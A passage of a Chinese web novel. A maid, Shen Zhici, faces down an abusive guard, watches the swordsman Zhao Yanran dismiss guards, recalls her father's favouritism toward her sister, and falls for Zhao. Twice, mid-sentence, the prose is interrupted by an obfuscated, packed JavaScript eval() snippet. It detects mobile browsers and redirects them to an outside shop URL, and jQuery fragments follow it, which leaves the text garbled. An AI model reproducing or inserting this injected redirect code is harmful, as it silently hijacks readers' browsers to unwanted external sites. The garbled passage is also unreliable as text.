李护院双手紧了又松,半晌,他没有接那刀柄,而是伸出手指着知慈的脸道,“你给我等着。”随即远远绕开知慈,朝院子里走去。 他听见身后传来知慈的一声嗤笑,只当没听见。 他还是没有勇气搭上自己的性命为秋爽报仇。 护院们愣愣看着二人交锋,他们本以为接下来会有血腥一幕发生,却没想到,平素为人强势的李护院在情人被杀后,竟然什么都没做。 李护院拖着沉重的脚步走向院子,秋爽的尸首还在院内,他要为秋爽收尸。 知慈望着李护院的背影,方才的针锋相对令她此刻有些脱力。 就在这时,身后不远处,一道冷淡却略含认可的声音传来,“没想到你胆子还挺大。” 知慈回头,便见隐蔽之处,衣袍染血的少年抱臂倚着树,不知看了多久。 4. 遣散 赵晏然方才在府上指挥善后已近收尾,得知白巾教徒尚有漏网之鱼,便领着几人向李护院他们所在处赶来。 一行人即将与李护院汇合时,赵晏然注意到院子四周有训练有素的武者潜伏,同时正撞见李护院强迫知慈去送钱的一幕。 于是他示意其他人原地不动,不要惊扰李护院他们,静观其变。 对于人质秋爽,赵晏然的态度是作壁上观。他只确保路繁叶和他家人的平安,至于一个婢女的死活,并不重要。 少年于隐蔽处瞧热闹,见知慈顶不住李护院和其他人的胁迫,接过装银票的包袱向院子行去,赵晏然发出一声轻蔑的“哼”。 赵晏然很了解李护院秉性,媚上欺下,嚣张跋扈。但在赵晏然看来,欺软怕硬是人的本性,李护院功夫不错,因此人品有瑕也就算不得大事。 反倒是知慈,赵晏然瞧见她被秋爽欺负还忍气吞声的模样便觉不喜。他认定此女窝囊懦弱,是他最看不上的那种弱者、任人欺凌的羔羊。 知慈屈从于李护院,就意味主动将自己的性命交到敌人手中。主动为人鱼肉,实在愚不可及。 赵晏然对她失去兴趣,开始研究起周围部署了多少锦衣卫。但就在这时,变故发生了。 知慈一说话,赵晏然就听出来她在使坏。那之后秋爽被杀,院内乱做一团,院外李护院和知慈剑拔弩张。 当知慈将剑柄递向李护院时,少年冷淡的面色勾起一个饶有兴趣的笑。原来这女孩不是个怂包,一出手便要人性命,倒是让他刮目相看。 赵晏然出声叫好。 下一刻,知慈回过头来,见到是赵晏然,她先是意外,随后神色变得愤怒,“刚才的一切你都看到了?” 少年‘嗯’了一声。 知慈被他无所谓的态度搞得更加生气,“那你方才就看着他害我?” 赵晏然道,“不然呢?方才你若乖乖听话了,那便也死不足惜。” 听他这样说,知慈一言不发,抿紧了唇。 之前她见赵晏然容姿端丽、武功高明,因此倾心于他;可打过两回交道,她才发现这人冷漠凉薄,性格恶劣至极。 知慈不想再同他说话。然而这时却又听见赵晏然道,“——不过,方才你让我瞧了一出好戏,作为回报,我会帮你赶走李护院。” 知慈一愣,抬头看赵晏然,只见少年眸中带笑,再无初见时的不屑和恶意。 - 跟随队伍回到路府时夜色已深,路府门前依然灯火通明,此时白巾教徒的尸体已经清走,路面大滩大滩的血迹,正由人用大量清水冲洗清理。 知慈回到丫鬟们的居所,屋内已经熄灯,于是知慈安静开门,悄悄回到了自己床位前。 “喂。”屋里角落的床铺,有人出声。 知慈听到了,却没应答。屋里住了十多个丫鬟,但因为平日基本无人同她说话,所以她下意识认为那声音是在喊别人。 “沈知慈,叫你呢。”那声音又道。 知慈听罢,转头看去看声音来源,角落黑梭梭一片,只能看清一个人影坐在床上,但知慈还是听出是之前同秋爽一起污蔑自己偷东西的那个婢女,名叫星月。 星月问,“秋爽呢,她怎么没回来?” 知慈道,“她死了。” 星月一噎,半晌道,“你在说笑吧。” 星月和秋爽平日玩得特别好,形影不离,二人拉拢其他婢女孤立知慈,平日一句话都不愿意和她说。此刻她想打听秋爽的消息,又主动来找自己说话,知慈根本不想理会。 星月望着黑暗中铺被子的知慈,又追问了一句,“秋爽她到底怎么了?” 知慈没有理她,铺好被子便爬上了床。 星月见知慈不理自己,只好躺回了被窝,心里盘算明天一早就去向护院们打听究竟发生了什么事。 知慈闭上眼,没过多久她听见有人窃窃私语。知慈心知屋里其他婢女方才在装睡,见自己睡下便偷偷讨论自己方才的话。 知慈太过疲劳,迷迷糊糊中进入了梦乡。 - 第二日,知慈朦胧之间听见了开门声。 知慈睁眼,便见一瓜子脸美人坐在自己身边,蹙眉担忧地望着自己,“昨晚你一直不回府,我好生担心,后来我回去睡觉了,幸好幸好,早上过来看一眼,你总算回来了。” 知慈清醒了些,揉着眼睛道,“我没事,姐姐。等会同你说。” 原来美人正是知慈的亲姐姐沈纤纤。沈纤纤年方十八,比知慈大三岁,也同样在路府做事。但由于长相出众美丽,又擅长书法琴艺,因此被路繁叶的夫人选中,不必如知慈一般做洒扫庭院这种粗鄙的活计,而是做了路大夫人的贴身婢女,平日差事更体面,待遇也更好,寝居也比知慈住的大通铺舒服些。 知慈起身,洗漱换衣,随后同沈纤纤去饭堂吃早饭。 二人来得很早,饭堂里吃饭的下人还不多,知慈拿了一个小包子,一碗小米粥,还有一碟咸菜,同沈纤纤找了个好位置坐下。 知慈简单讲述了自己昨日的遭遇,沈纤纤听得紧皱眉头,“这个李护院,之前同他打交道还觉得他为人热情,没想到他竟然这么对你。”又道,“不过你这样也做太不留后路,若是他事后蓄意报复怎么办?” 知慈道,“那也总好过他们抱着团欺负人,走一步看一步吧。” 二人快吃完早饭时,饭堂人渐渐多了起来。知慈注意到星月也来了饭堂,走到护院扎堆的餐桌前,向几个护院询问着什么。 饭堂喧哗,知慈听不见护院和星月的对话,但她能猜到,护院给她讲了昨天秋爽死去的原委。 因为星月脸色明显越来越僵硬苍白,随即左右张望,与知慈对上了视线的一瞬,她就像被烫到一样,立刻收回了目光,不敢再看知慈。 就在这时,饭堂门口传来喧哗声。 知慈同沈纤纤循声望去,见到赵晏然站在饭堂门口,立刻成为了众人焦点。少年昨日的表现让路府下人们又敬又畏,不少人主动同他搭话巴结。 少年没有理会任何人的搭讪,视线一边扫视饭堂,扫至知慈方向时,他的目光明显停顿了一会,随后移开了视线。 “说个事。”赵晏然开口,灶堂瞬间安静下来。 赵晏然平淡道,“大少爷决定遣散府上十个护院,明日会有一批北境来的士兵顶替空缺。我念到名字的,等会去找账房领薪俸,领完便收拾东西走吧。” 此言一出,灶堂一片哗然。尤其是护院们,个个神色紧张,生怕被遣散的人之中有自己。 接下来,赵晏然开始依次点名要遣散的人,被点到的护院无不面色惨白。 但很快众人便发现,被点到名的都是上次演武考核中排名倒数的护院。发现这点之后,大部分护院都暗中松了口气。 赵晏然依照倒数的成绩依次念了九个人的名字,按照顺序,下一个被点到的就该是排名倒数第十的张小功。 张小功周围的同伴拍了拍他的肩膀,有些惋惜。然而下一刻,张小功却听见赵晏然道,“……李半。” 最后一个被开除的竟是李护院。 张小功惊讶睁大眼,与此同时,李护院暴怒道,“凭什么是我?!” 赵晏然冷笑,“昨天你干了什么心里没点数?留着你继续害人么?” 李护院深深吸了口气,“我不服,我害谁了?!秋爽死了我还没说话呢!何况我功夫是护院中最好的,你凭什么让我走!” 和李护院关系好的两个护院也叫嚷起来,“就是!你假公济私——” 少年狠狠拍了下桌子,打断了他们,厉声道,“昨日你们要挟府上婢女之事,需要我现在给大家讲讲么?看看到底是我假公济私,还是你李护院丧心病狂?” 此言一出,两个护院瞬间泄了气。 赵晏然森然望着二人,道,“再有异议,你们就和李护院一起滚。” 两个人再无一句话。 一时间,饭堂内全是窃窃私语。原来除了两个跟班外府上其他下人大多对李护院积怨已久,巴不得他走。 李护院见没人再帮自己,只得认栽。 知慈看着眼前一幕,心情复杂。她没想到赵晏然竟然真得说到做到,为自己开除了李护院。她对赵晏然糟糕的印象不自觉有些好转。 众人本以为李护院就是最后一个被开除的人,却没想到赵晏然又道,“要走的还有最后一个人,张小功,你也走。” 张小功傻眼了,“……什么?”他还以为李护院走了,他就能留下了。 这时,一个家丁大声道,“赵兄弟,不是一共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711722|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遣散十个人吗?加上李护院人都够了,为什么还要小功走?” 说话之人正是昨日看见尸体呕吐、所以和张小功换位置的家丁,见张小功要走,忍不住替他说话。 张小功平日人缘不错,此言一出,不少人纷纷附和。 赵晏然目光直直望着他,面无表情道,“大少爷要求的,我没权利做主。” 这时,府上账房忍不住插嘴,“晏然,大少爷遣散护院是为了节省开支,如今人数已够,小功的去留就是大少爷一句话的事。晏然你说话有分量,只要你向大少爷开口,大少爷肯定答应留他。” 第一个护院赞同道道,“是啊,赵兄弟,你帮帮他吧,小功他是个好人,昨日我看到尸体有些不适,他主动与我换位置。” 又一婢女道,“我也可以作证,小功虽功夫差点,但人品真的很好。而且他家里条件不好,有个重病的老母亲要养,太不容易了。” 人们七嘴八舌道,“是啊,是啊。赵兄弟,大少爷那么看重你,留下小功就是你一句话的事,你就帮帮他吧。” 知慈在一旁听着几人的发言,心中赞同,张小功也帮过自己,确实是个好人。 张小功平日人缘极好,因此大家都舍不得他走,纷纷向赵晏然求情。 张小功感激看着众人,但赵晏然脸色冷峻,很不耐烦,“他如果功夫好,你们不必开口我也会留;可他上次考核倒数第十,让他走人合情合理。你们说他人品好,请问人品好能抵消他本职干得一塌糊涂吗?” 赵晏然继续道,“你们舍不得他走,那便自己同大少爷去说。偏要慨他人之慷让我说,这是什么道理?” 赵晏然一边说,一边在心里后悔答应路繁叶接下这个烂活。他倒无所谓得罪人,但这群家丁扯皮个没完,实在缠得他不胜其烦。 赵晏然说话有理有据,一时没人能反驳。 然而沉默之中,一个护院幽幽开口,“赵兄弟,昨日你和大少爷对话我听见了。那时大少爷根本不认识小功,是你同他说张小功能力低下,才导致大少爷要开除他。” 护院的话把矛头再次指向了赵晏然。他的言下之意,众人向赵晏然求情并非道德绑架,因为张小功被开除本身就是赵晏然的意思,是他促成了路繁叶开除小功的决策,所以也只能由他来化解。 张小功立刻明白了,原来前日晚间自己同赵晏然和大少爷的对话还有别人听见。想起当时赵晏然对自己半点不掩饰的嫌弃,张小功心里很难受。 而另一边,赵晏然听着护院对自己的控诉,心中升起了一股冰冷的怒意。 论武功,在场所有人加起来都不是他对手;但他们偏偏要跟他讲道理,这些人你一言我一语,把他描述成故意为难人的傲慢之徒。仿佛只要不留张小功,他就是恶人。 赵晏然脸色冰寒,看向张小功道,“张小功,我让你走,你服不服。” 张小功抿着唇,半晌还是不甘心开口,“赵兄弟,我知道你瞧不上我功夫差。可你出身武学名门又天资聪颖,所以理解不了我们普通人,学东西慢——” 他话说了一半,被赵晏然嘲讽打断,“张小功,你不会真觉得自己功夫这么烂,都是外界因素的错,自己一点问题没有吧。” 赵晏然继续道,“自我到路府以来,你每天都卡着点才来演武场,偶尔还会迟到。这样的训练态度,你跟我说你天资不好?但凡你把分散的心思抽一点出来用在习武之上,都不至于吊车尾水平。” “你说我天资高、出身名门,可你知不知道从八岁加入上清派开始,我便一直坚持寅时起床练功,直到今日都从未间断。” “我九岁开始学剑,整整一年我只练起手式一个动作,练到烙印到肌肉中成为下意识反应,才终于把一个剑式吃透。” “张小功,你努力过吗?如果你连起早贪黑努力的想法都没有,你有什么资格拿天分和起点做借口?” “我知道你怎么想我——没错,我就是瞧不起你,你本事差还不努力,我凭什么瞧得起你?就凭你平日嘻嘻哈哈攒的一堆好人缘?” 少年言辞锐利,把比他还大上几岁的张小功骂得狗血喷头,“尊重是靠自己争取、而不是别人施舍来的。这世界弱肉强食,强大才是唯一的道理。” 张小功沉默良久,道,“明白了。” 5. 知慈回忆 赵晏然离开了灶堂,看热闹的人也渐渐散去。 知慈和沈纤纤也离开饭堂,知慈道,“前几日,张小功还帮过我,没想到……” 沈纤纤叹了口气,“这也没办法,只能怪他运气不好。” 沈纤纤话音刚落,便听得有人在前方道,“纤纤姑娘,幸会幸会。” 沈纤纤抬头,有些意外,原来同她打招呼的人是路府的二少爷,路茂枝。 知慈也望向路茂枝。只见路茂枝年岁仅十六七,皮肤却像受过摧残似的苍白老气,他五官平淡,眼下发青,身高与沈纤纤相近,整个人又瘦又小。 沈纤纤声音有些拘谨,“二少爷……你怎知道我的名字?” 路茂枝回答,“噢,那日家宴,你在堂下弹琴给兄嫂听,我见你身材极好,便向嫂子打听了你。” 当时路茂枝不只打听了沈纤纤的名字,还直接问大夫人要人,结果被路繁叶怒斥不务正业。 路茂枝眼睛直勾勾瞧着沈纤纤,道,“纤纤姑娘,你有时间吗,我带你去绸缎坊和戏园逛逛如何?” 沈纤纤抿紧唇没说话,求助般瞟了知慈一眼。 知慈见她为难,便开口道,“我姐她还有差事,少爷你别为难她了。” 路茂枝满眼都是乌发如云纤腰如柳的沈纤纤,根本没注意到她貌不惊人的女伴,听见知慈插话,他方才看她一眼,随即不耐烦道,“我又没问你,你这丫鬟插什么嘴?” 被对方斥责,知慈只得闭上嘴。 路茂枝重新看向沈纤纤,殷切道,“没事,有什么差事我和嫂子说一声,她不会为难你的。” 沈纤纤为难极了,路茂枝的邀请对她来说是明晃晃的骚扰,但他毕竟是少爷,沈纤纤不敢表现出厌烦,只得道,“不成的,我一个女儿家,即使出门也肯定得和我妹妹在一起的。” 路茂枝不依不饶,余光扫了知慈一眼,道,“没事,大不了带上她,让她也见见世面。” 知慈心中厌恶,路茂枝的话让她格外不舒服,一副她沾了光的嘴脸,甚至没过问她本人意愿——她还不稀罕去呢。 知慈莫名其妙受气,解围都变得生硬,“姐,你到底去不去干活?” 说着她便作势转身,沈纤纤见知慈要走,忙道,“哎,等等我,我和你一块走。”又转头冲路茂枝赔笑道,“抱歉少爷,我得去干活了。” 沈纤纤追上知慈,挽起知慈的手臂悄声道,“总算把他甩掉了。” 知慈道,“他真讨厌。” 沈纤纤道,“我也不喜欢他,他太矮了,长得也不好看,但是他毕竟是少爷,而且对我又这么热情,贸然翻脸也不好。” 知慈叹了口气,没再同她继续讨论这个话题,二人行至分叉口,随即道别分手。 - 实话说,方才的待遇知慈早已习以为常。 她和沈纤纤出生在谢国北部的一个大户人家,父亲是在当地经营建筑生意的大商贾,家底雄厚。但沈父并无儿子,只有她们姐妹两个女儿。 虽然同为沈家女儿,知慈和沈纤纤的待遇却截然不同。知慈印象里沈父非常疼爱姐姐,但对自己却总有些疏远。 沈父花了大力气培养沈纤纤,沈纤纤很小的时候就开始学习琴棋书画,有专门的老师教导她。 而知慈则是放养长大。除了强制她和沈纤纤一同学习识字和女诫,沈父其余时间都不怎么管她。 知慈偶尔觉得新鲜,去蹭沈纤纤的琴艺棋艺课。因为毫无基础,知慈根本听不懂先生上课的内容。而先生们虽不曾驱赶过知慈,但也不愿意分出精力来教她。感受到先生们的冷淡后,久而久之,知慈也不再自讨没趣。 随着姐妹二人年岁见长,沈纤纤出落得亭亭玉立,小小年纪便容色动人,且经过数年艺术的熏陶,沈纤纤谈吐得体,精通琴棋书画,成为了当地官员商贾家眷圈中很有名气的小才女。 与之相比,知慈则逊色很多。 知慈虽然五官清丽,但由于她的右脸天生长了个难看的胎记,毁掉了整张脸的美感,所以周围人对她的印象都是‘丑’。再加上她没什么拿得出手的特长,所以每当她和沈纤纤站在一起时,所有人的目光都只会投向沈纤纤。 沈家每逢有人拜访,客人都会大夸特夸沈纤纤美丽漂亮,真羡慕沈家有这么出色的女儿。末了注意到知慈,客人们却只有一句评价:这孩子真乖,将来嫁人肯定是个贤惠的媳妇。 每逢沈父沈母领着两姐妹参加一些本地官商的宴会,沈纤纤都会成为同龄孩子中的焦点,女孩子会主动邀请她玩儿,胆子大的男孩子会主动同她搭讪。 知慈心知姐姐这么优秀,获得关注也是理所应当,所以姐妹二人站在一起时,她也没什么不平衡,心甘情愿充当绿叶。 但知慈也偶尔有特别难过的时候。曾经有一次宴会,一个男孩为了讨好沈纤纤,围在沈纤纤身边不断没话找话。得知知慈是沈纤纤的妹妹,那男孩对沈纤纤道,“你长得这么漂亮,怎么会有这么丑的妹妹?她会不会是垃圾堆捡来的啊。”说罢他哈哈大笑,自认为说了一个很风趣的俏皮话。 知慈当时眼圈就红了,但长期身处父亲不喜、看人眼色生活的成长环境下,知慈根本不懂得什么是反抗。 沈纤纤注意到知慈哭了,对那男孩说,“你不要这么说我妹妹。” 男孩笑嘻嘻赔罪,“对不起,我也没想到她这么脆弱。”便将此事翻篇揭过,又同沈纤纤东拉西扯,想逗她和自己说话。沈纤纤本来板着脸不理他,但奈何男孩坚持不懈找话题,于是很快沈纤纤把知慈被骂的事抛在脑后,被他逗笑同他聊了起来。 每当类似事件发生时,知慈都会特别难过,难以遏制地羡慕沈纤纤漂亮的外表,羡慕父亲对她的偏爱,也羡慕她无论走到哪里都是众星捧月备受宠爱的对象。 后来知慈又长大了一些,她学会了排解这种艳羡混合酸楚的情绪。她对自己说:无关之人是否喜欢自己根本不重要,只要家人和她在意之人喜欢自己就够了。 然而即使是这样简单的愿望,对于知慈来说也只是奢望。 知慈十三岁的一日,沈父最喜欢的茶壶不慎打碎,茶壶的价格不算高昂,做工也算不上精致,但沈父用着非常顺手,他打发下人去重买一套,却被告知买不到一模一样的款式了。 沈父只得换了新茶壶,却时不时在家人面前抱怨新壶不顺手。 知慈把此事记在了心里,后来偶然出门玩耍时,在一家瓷具店内看到了和沈父之前一模一样的茶壶。知慈犹豫再三,跑回家将自己攒了很久的压岁钱拿来买下茶壶。 当晚,一家人在一起吃饭,沈父在餐桌上同妻女道,“明日我又得出趟远门。” 沈母道,“这次是哪里的差事?” 沈父道,“这次是个知府牵头的大生意,上清山要扩建几个主殿,交给我来承包。” 沈纤纤闻言兴奋道,“爹爹你要去上清山?!” 知慈虽然没说话,但也期待地望着沈父。上清山是天下闻名的武学宗门,也是天下人心向往之的风景圣地,因此听说沈父将去上清山,两个孩子都忍不住雀跃起来。 沈母也笑道,“你也许能跟着上清山的师父学几招功夫。”说着,她替沈父斟满了酒。 沈父哈哈大笑,道,“那可是我的大机缘。”随即将酒一饮而尽。 知慈见沈父很高兴,便拿出装着茶壶的包袱,对沈父道,“爹爹,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711723|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天看到了您之前用的那款的茶壶,就买了回来。” 沈父正在兴头上,见知慈同他搭话,笑容淡了下来,手臂搭着椅背,看了那包裹一眼,道,“嗯。” 一旁,沈母推了他下,道,“知慈送你的茶壶,你不打开看看。” 沈父摆了摆手,道,“等会再说。” 沈纤纤见知慈竟然偷偷准备了礼物,有些不满,撒娇道,“爹爹,我也有东西送给你。” 沈父被女儿撒娇的模样逗笑了,“你要送爹爹什么?” 沈纤纤从椅子上站起来,轻快地跑到沈父身边,亲了一下沈父的脸颊,道,“这就是我的礼物,我最最喜欢爹爹啦!” 沈父哈哈大笑,宠溺地揉揉沈纤纤的脑袋,又点着她的脑门道,“爹爹也最喜欢你了。”而沈母也温柔注视着妇女二人温馨的互动。 这之后饭桌上的话题便都是围绕着沈纤纤展开,知慈的礼物摆在沈父旁边的凳子上,包装未拆,却再也无人过问。 知慈听着一家三口的欢声笑语,眼睛落寞盯着那小小的包袱,手无意识地揪着衣服。 “……知慈,你听到了吗。”母亲问她。 “啊,什么?” “你爹爹去上清山时可以带上家属,不过只能带一个人。所以这次便带你姐姐去了。” “哦,好。”知慈声音有些低落。 沈母见知慈这样,有些不忍心,又补充道,“不过若有下次的机会,你爹爹肯定会优先带你的。” 沈父见沈母擅自拿主意,“啧”了一声想反驳,却见沈母对他使眼色,于是不耐烦地皱眉转过头,没有再说什么。 第二天,沈纤纤随沈父启程去上清游玩。知慈和母亲在门口为二人饯行。望着马车渐渐远去,沈母眼圈发红道,“也不知纤纤能否照顾好自己。” 知慈稚嫩地安慰道,“姐姐是去玩的,娘亲你就别担心了。” 知慈同母亲说话的间隙,沈府的下人推着垃圾车经过门口,知慈眼光定住,随即小跑着拦住垃圾车。 下人疑惑地停下,便见二小姐自垃圾车中,拣出了一个包袱。那包袱没被拆封过,沾上了汤水剩饭,又脏又难闻。但知慈就像感觉不到一样,将包裹摊在地上解开。 包裹里,装个一个瓷器,正是知慈送给沈父的茶壶。然而此时,茶壶已经碎成了一片一片。 知慈望着碎片,眼泪一滴滴落下,渐渐变成嚎啕大哭。 沈母见到知慈的模样,心疼不已。她以为昨日丈夫将包裹拿到了书房,没想到他竟然直接丢掉了。 沈母蹲下,心疼地搂住女儿,知慈下巴靠在她肩上,一抽一抽哭泣道,“为什么爹爹这么讨厌我?” 沈母道,“爹爹不喜欢你,但是娘亲疼你,别哭了,你哭得我心都碎了。” 知慈依然呜呜哭着,沈母道,“娘亲送你个宝贝,别难过了。” 知慈被沈母的话所吸引,渐渐止住哭声。 沈母领着知慈来到自己的卧房,从首饰盒取出一个纯金打造的金如意,交给知慈,“好看吧。” 知慈红着眼圈,伸手接过。她看着手心的金如意,雕刻精美极了,知慈心生喜爱,用拇指反复摩挲。 沈母又冲她比了个“嘘”的手势,道,“不要告诉你姐姐,金如意只有一个,娘亲只给你。” 闻言,知慈终于破涕为笑。母亲平日待她和姐姐一视同仁,从不会厚此薄彼。而此刻,是她极少数表现出偏爱的时刻。 她知道,小小的金如意,以沈家的财力买十个一百个都不是问题,但此刻,这种被偏爱的感觉,让知慈无比清晰地认识到:虽然她被父亲厌弃,但没有关系,因为还有母亲如此温柔地爱着自己。 6. 心动 因为秋爽的死,府上部分洒扫工作无人负责,于是管家重新分配了洒扫区域,知慈所负责的洒扫区域也变成了后院的花园,以及隔开府上几位主子院落的狭长小路和绿植。 重新分配之后,知慈并未感觉工作增加。因为主子们白天需要安静,所以后院花园打理好之后,知慈只需在酉时清扫小路,而剩余时间都可以休息。 时近傍晚,夕阳西下,知慈安静修剪小路两边的青竹。 这时远处有人经过,知慈瞥了一眼,意外发现来人容色如玉,身材青涩却挺拔,正是赵晏然。 知慈看见他,经历上次的事件后,面对赵晏然,她不知作何反应,便又低下头。 令她意外的是,赵晏然走近,主动同知慈搭话。 “答应你的事办到了,李护院已经收拾行李走人了。” “……嗯?”知慈愣了一下,见他主动同自己搭话,意外地抬起头,“……我看见了。对了,昨晚回去后,秋爽的闺蜜还向我打听她的去向。” “哦?”少年望着她,似乎觉得兴趣。 知慈道,“听说秋爽死了,她们都有些怕我。” 闻言,赵晏然嗤笑一声,冷漠的脸庞很是俊俏,“人性如此,欺软之人必定怕硬。” 知慈顿了顿,忍不住道,“你觉得秋爽她们欺软怕硬,那你……为何要做和她们一样的事呢?” 赵晏然眼中笑意淡了,“你指什么?” 知慈道,“你为何一定要开除张小功?” 赵晏然神色冷淡下来,“你也来替他求情?” 见赵晏然不高兴,知慈委婉道,“……我只是觉得不触及原则的事情,其实你没必要这么固执,这样会失了人心。” 赵晏然道,“我不替他求情便叫欺软怕硬?这样的人心,我不得也罢。” 知慈道,“我不是这个意思——” 赵晏然打断道,“我知道你什么意思,但武者只凭实力说话,人心有什么用处?张小功弱,他就得立正挨打。同理,若我遇见比我功夫更强的人,那我也愿赌服输绝无二话,任凭对方处置——因为强者才有话语权。” 赵晏然决绝的言辞让知慈哑口无言。她发现赵晏然似乎自有一套冷酷而现实的价值观,在这套价值体系中,他对别人狠,却对自己更狠。在他眼中,这个世界优胜劣汰、弱肉强食,要么搏杀,要么死。 虽然听起来冷漠又无情,但事实就是,若没有赵晏然昨日杀神般的强悍表现,而是换成张小功这样水平的护院防守,那么恐怕路府早已被白巾教徒们踏平了。 知慈道,“好吧,是你救了路府,所以你说的对。” 见知慈软了口气,赵晏然神色也缓和了下来,二人又闲聊片刻,关系也算进了一步,成了‘能说上话的人’。 - 第二日晚膳后,知慈坐在院中回廊休息。 一群家丁护院笑闹着经过回廊去往演武场,赵晏然被众星拱月围在中间。知慈看见少年逆着夕阳,身形清瘦潇洒,在一群同龄人中仪态极为出挑,忍不住多看了两眼。 那厢,赵晏然也瞥见了知慈,他虽然面无表情,却微微对知慈颔首,冲知慈打了个招呼,随即同其他人一道离开了。 见少年主动招呼自己,知慈心中一跳。 先前赵晏然对待她的恶劣态度,让知慈一度怀疑自己看人的眼光。但之后发生的种种又让知慈对他印象好转。在她看来,赵晏然虽然性格高冷傲慢,但并不是坏人。 何况赵晏然本身条件就很优越。他身材高挑劲瘦,长相清秀俊朗,浑身上下每一个点都符合知慈的审美。兼之武功高强,修习的是迅捷飘逸的快剑路数,使起剑来身法美观、意气风发。 此刻他主动同知慈打招呼,知慈本能对他再次冒出了好感。 那之后一整晚,少年俊朗的眉眼都在知慈脑海之中挥之不去。 知慈睡不着觉,于是点了一盏灯,在桌边绣起香囊来。 寝房里安安静静,有人在睡觉,有人在护肤,但无论谁都不敢来招惹知慈。尤其星月,见知慈起身,反射性攥紧被子紧张起来,见她只是起来绣花,才放下了心。 知慈绣好香囊,又往里加了些藿香、艾草和檀木粉,如此一来,一个能够驱虫和清新空气的实用香囊就做好了。 知慈心想着,下次要找机会把这个香囊送给赵晏然,到时就说是为了感谢他赶走李护院做的,没别的意思。 一番忙碌,知慈终于结束全部工作,吹灭了蜡烛,安心爬回床上睡下。 - 第二日,知慈得了闲,便想着去演武场找赵晏然送香囊。 但找了一圈,赵晏然却并不在。 知慈心想自己可能来的不是时候,无奈只得折返。她沿着府中回廊抄了近路,然而拐过一个弯后,知慈愣住了。 夕阳将水面渡上一层金辉,知慈抬头,却见水边廊厅上一男一女靠在亭廊之中有一搭没一搭地闲聊。 只见那廊中的少年意气风发,正是赵晏然;而少女身形纤细,却是她的姐姐沈纤纤。 二人神态轻松,看起来很是熟稔。 赵晏然和自己的姐姐认识? 知慈远远听见沈纤纤道,“还记得当年你为我赢下的奖品吗,我现在还留着呢。” 赵晏然仍是平日那副冷淡神情,但语气却难得温柔,“那是你强迫我送的。” 沈纤纤用娇憨的声音道,"我才不管,你送了,那就算你的心意。” 少年没有接话,扭头看向波光粼粼的水面。 沈纤纤就又道,“你说算不算,算不算嘛?"她轻轻摇那俊俏少年的手臂。 令知慈意外的是,平日对其他婢女的示好向来厌烦无视的赵晏然,竟罕见露出一个无奈的表情,“算,怎么不算?我拿你可真没办法。” 沈纤纤满意笑了,随即又叹了口气,“真想回到那年上清山上,那时咱们还都无忧无虑。” 远处,知慈听着二人对话,更加确定了二人是故交。 赵晏然对待沈纤纤的态度虽不算热络,但却与平日对自己还有其他人那副高冷模样大相径庭。 知慈看着手中的香囊,觉得自己有些滑稽。只见远处二人站在一起,郎才女貌,犹如一对璧人,哪里还插得进别人? 知慈想到每当与姐姐站在一起时,自己都会沦为陪衬。此刻赵晏然满心满眼都是姐姐,自己却想打他的主意,简直就是不自量力。 自卑感让知慈失去了上前的勇气,她悄悄后退,落荒而逃。 - 赵晏然初遇沈纤纤那年十三岁,每日心无旁骛泡在上清山的习武场练功。 上清山上一个平凡的午后,师兄对赵晏然道,“晏然,我听说来了两个北风城的小姑娘,要在咱们门派做客一个月,”师兄手肘靠着习武场的围栏,兴致勃勃道,“我跟你说,其中一个特别好看,你来不?” 赵晏然手捏剑诀,眼睛没离开过身前的木桩,冷淡道,“不去,无聊。” 师兄听赵晏然这么说,立刻骂道,“你小子不合群,下回求我都不带你。”随即抛下赵晏然,兴致勃勃凑热闹去了。 习武场再次安静下来,除了师兄,其他不少弟子也跑去凑热闹。 此事赵晏然之前便略有耳闻。掌门说最近一个月,北风城知府会造访上清,重金赞助上清派,并请求掌门派遣一些弟子帮助北风城镇压城外的流寇。 与北风城知府同行的还有一位北风城土方工头,与掌门签了契约,负责扩建上清派的大殿、公务厅还有弟子寝房。 赵晏然估计师兄方才说的两位姑娘,就是知府和建筑商他们的家人。但他认为此事与普通弟子并无关系,师兄他们之所以纷纷跑去凑热闹,不过是在逃避练功的枯燥。 赵晏然继续琢磨起上清剑法起手式,很快进入忘我的状态,在习习山风中一遍遍练习早已刻入肌肉的招式。 不知过了多久,习武场周围又开始传来喧嚣声。 赵晏然顺着声源望去,只见好几个师兄弟围着两个眼生的姑娘——准确来说,是围着那个肤若凝脂、美貌惊人的姑娘大献殷勤。 另赵晏然意外的是,他的死对头,平日武功上一直压着他的诸葛真,此刻竟也热切地望着那女孩。 赵晏然来了兴趣,何方神圣能把诸葛师兄吸引成这样?恰好这时,对方转过脸来,与赵晏然目光相接。 也许是错觉,那女孩看到赵晏然时,眼睛亮了下,冲他眨了眨眼。随即又若无其事移开目光,去挽旁边女孩的手。 这便是赵晏然同沈纤纤的初遇。接下来几天,门派内的房屋开始大规模修整,掌门特地批了几天假,免得众弟子聚在工地影响进度。 但赵晏然风雨无阻,依旧每天去习武场练剑,因为放假,习武场人数锐减。期间他师兄和诸葛真都没再演武场出现。原来两位姑娘想在上清附近游玩,他们都积极跑去当向导了。 这日,赵晏然正在练习上清剑法第二式,无意间瞥见一道倩影来到习武场外围,夕阳下她逆光而来,微微歪头,好奇地看他练剑。 